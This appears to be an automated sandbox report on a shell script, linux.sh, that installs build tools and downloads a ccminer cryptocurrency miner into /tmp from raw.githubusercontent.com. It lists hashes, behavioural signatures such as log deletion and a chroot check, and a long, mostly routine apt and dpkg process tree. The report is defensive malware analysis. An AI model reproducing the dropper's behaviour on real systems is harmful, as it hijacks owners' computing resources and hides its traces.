f48afa0d3b55c9f1c223c8a1aa9a14d5b7b085c9cf8fb009eba7f5969b065ab2

Analysis

max time kernel
124s
max time network
140s
platform
ubuntu-24.04_amd64
resource
ubuntu2404-amd64-20240523-en
resource tags

arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
submitted
14/07/2024, 14:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

linux.sh
Size

368B
MD5

5b3772dd8e532cb3f6ea8305ef533772
SHA1

d244914fe5f4346ad70ae1cfcb0d127ef9d8ba61
SHA256

f48afa0d3b55c9f1c223c8a1aa9a14d5b7b085c9cf8fb009eba7f5969b065ab2
SHA512

478536e3c3dd6e9293c6332f6712583d8a6f9053abdc845933172dd0b9c8130e359022b85e87c9a286be55042a9b07a32af2b2712ea4b844f4dfbff05e4936ea

Score

7^/10

antivm

Malware Config

Signatures

Executes dropped EXE 3 IoCs

ioc	pid	Process
/var/lib/dpkg/tmp.ci/preinst	2557	preinst
/var/lib/dpkg/info/automake.postinst	2620	automake.postinst
/tmp/ccminer	2641	ccminer

Checks mountinfo of local process 1 TTPs 1 IoCs

Checks mountinfo of running processes which indicate if it is running in chroot jail.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/1/mountinfo	ischroot

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt-get

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Write file to user bin folder 1 TTPs 14 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/bin/automake-1.16.dpkg-new	dpkg
File opened for modification	/usr/bin/curl-config.dpkg-new	dpkg
File opened for modification	/usr/bin/openssl.dpkg-new	dpkg
File opened for modification	/usr/bin/autoheader.dpkg-new	dpkg
File opened for modification	/usr/bin/autom4te.dpkg-new	dpkg
File opened for modification	/usr/bin/dh_autotools-dev_updateconfig.dpkg-new	dpkg
File opened for modification	/usr/bin/autoreconf.dpkg-new	dpkg
File opened for modification	/usr/bin/ifnames.dpkg-new	dpkg
File opened for modification	/usr/bin/aclocal-1.16.dpkg-new	dpkg
File opened for modification	/usr/bin/dh_autotools-dev_restoreconfig.dpkg-new	dpkg
File opened for modification	/usr/bin/c_rehash.dpkg-new	dpkg
File opened for modification	/usr/bin/autoconf.dpkg-new	dpkg
File opened for modification	/usr/bin/autoscan.dpkg-new	dpkg
File opened for modification	/usr/bin/autoupdate.dpkg-new	dpkg

Reads CPU attributes 1 TTPs 1 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	ccminer

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/1/cgroup	http
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/sys/kernel/cap_last_cap	setpriv
File opened for reading	/proc/2623/status	setpriv
File opened for reading	/proc/sys/crypto/fips_enabled	http
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/kernel/cap_last_cap	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/loginuid	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	apt-get
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	setpriv
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/2472/cgroup	http
File opened for reading	/proc/1/cgroup	http
File opened for reading	/proc/sys/crypto/fips_enabled	http
File opened for reading	/proc/sys/kernel/random/boot_id	setpriv
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/kernel/seccomp/actions_avail	sudo
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/mountinfo	ischroot
File opened for reading	/proc/2471/cgroup	http
File opened for reading	/proc/sys/crypto/fips_enabled	wget
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/sys/crypto/fips_enabled	ccminer
File opened for reading	/proc/1/limits	sudo
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ccminer	wget

/tmp/linux.sh
/tmp/linux.sh
1⤵
PID:2460
- /usr/bin/sudo
  sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y
  2⤵
  - Reads runtime system information
  PID:2461
- - /usr/bin/apt-get
    apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y
    3⤵
    - Deletes log files
    - Reads runtime system information
    PID:2463
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      Reads runtime system information
      PID:2464
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      Reads runtime system information
      PID:2465
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:2469
  - - /usr/bin/ischroot
      /usr/bin/ischroot -t
      4⤵
      Checks mountinfo of local process
      Reads runtime system information
      PID:2470
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      Reads runtime system information
      PID:2471
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      Reads runtime system information
      PID:2472
  - - /bin/sh
      /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
      4⤵
      PID:2473
    - - /usr/sbin/dpkg-preconfigure
        
        /usr/sbin/dpkg-preconfigure --apt
        5⤵
        
        PID:2474
      - /usr/local/sbin/locale
        
        locale charmap
        6⤵
        
        PID:2475
      - /usr/local/bin/locale
        
        locale charmap
        6⤵
        
        PID:2475
      - /usr/sbin/locale
        
        locale charmap
        6⤵
        
        PID:2475
      - /usr/bin/locale
        
        locale charmap
        6⤵
        
        PID:2475
  - - /usr/bin/dpkg
      /usr/bin/dpkg --assert-multi-arch
      4⤵
      Reads runtime system information
      PID:2476
  - - /usr/bin/dpkg
      /usr/bin/dpkg --assert-protected-field
      4⤵
      Reads runtime system information
      PID:2477
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 32 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb
      4⤵
      Reads runtime system information
      PID:2478
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2479
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2479
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2481
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        Reads runtime system information
        
        PID:2482
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
        PID:2488
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2483
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2483
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2484
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2484
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2487
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2487
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2489
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2489
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2492
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2492
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2493
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2493
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2494
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2494
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2497
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2497
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2498
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2498
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2512
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2512
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 32 --no-triggers --configure libssl3t64:amd64
      4⤵
      Reads runtime system information
      PID:2513
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2514
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2514
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2516
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        Reads runtime system information
        
        PID:2517
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
        PID:2518
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 32 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-GF6pdM
      4⤵
      Write file to user bin folder
      Reads runtime system information
      PID:2519
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2520
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2520
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2522
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        Reads runtime system information
        
        PID:2523
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
        PID:2529
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2524
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2524
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2525
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2525
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2528
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2528
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2530
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/0-openssl_3.0.13-0ubuntu3.1_amd64.deb
        5⤵
        
        PID:2530
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2533
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2533
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb
        5⤵
        
        PID:2534
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb
        5⤵
        
        PID:2534
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2535
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2535
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2538
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2538
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb
        5⤵
        
        PID:2539
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/1-autoconf_2.71-3_all.deb
        5⤵
        
        PID:2539
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2542
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2542
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb
        5⤵
        
        PID:2543
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb
        5⤵
        
        PID:2543
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2544
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2544
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2547
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2547
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb
        5⤵
        
        PID:2548
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/2-autotools-dev_20220109.1_all.deb
        5⤵
        
        PID:2548
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2551
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2551
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb"
        5⤵
        
        PID:2552
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb"
        5⤵
        
        PID:2552
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2553
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2553
      - /usr/sbin/tar
        
        tar -x -f
        6⤵
        
        PID:2556
      - /usr/bin/tar
        
        tar -x -f
        6⤵
        Reads runtime system information
        
        PID:2556
    - - /var/lib/dpkg/tmp.ci/preinst
        
        /var/lib/dpkg/tmp.ci/preinst install
        5⤵
        Executes dropped EXE
        
        PID:2557
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb"
        5⤵
        
        PID:2558
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/3-automake_1%3a1.16.5-1.3ubuntu1_all.deb"
        5⤵
        
        PID:2558
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2561
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2561
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb
        5⤵
        
        PID:2562
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb
        5⤵
        
        PID:2562
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2563
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2563
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2566
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2566
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb
        5⤵
        
        PID:2567
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/4-libcurl4-openssl-dev_8.5.0-2ubuntu10.1_amd64.deb
        5⤵
        
        PID:2567
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2570
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2570
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb
        5⤵
        
        PID:2571
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb
        5⤵
        
        PID:2571
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2572
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2572
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2575
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2575
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb
        5⤵
        
        PID:2576
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-GF6pdM/5-libjansson-dev_2.14-2build2_amd64.deb
        5⤵
        
        PID:2576
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2579
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2579
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2580
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2580
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2581
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2581
      - /usr/sbin/tar
        
        tar -x -f
        6⤵
        
        PID:2584
      - /usr/bin/tar
        
        tar -x -f
        6⤵
        Reads runtime system information
        
        PID:2584
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2585
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/6-libomp5-18_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2585
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2594
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2594
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2595
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2595
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2596
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2596
      - /usr/sbin/tar
        
        tar -x -f
        6⤵
        
        PID:2599
      - /usr/bin/tar
        
        tar -x -f
        6⤵
        Reads runtime system information
        
        PID:2599
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2600
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/7-libomp-18-dev_1%3a18.1.3-1_amd64.deb"
        5⤵
        
        PID:2600
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2603
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2603
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb"
        5⤵
        
        PID:2604
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb"
        5⤵
        
        PID:2604
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2605
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb" /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2605
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2608
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        Reads runtime system information
        
        PID:2608
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb"
        5⤵
        
        PID:2609
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile "/tmp/apt-dpkg-install-GF6pdM/8-libomp-dev_1%3a18.0-59~exp2_amd64.deb"
        5⤵
        
        PID:2609
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2612
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2612
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 32 --configure --pending
      4⤵
      Reads runtime system information
      PID:2613
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2614
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2614
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2616
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        Reads runtime system information
        
        PID:2617
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
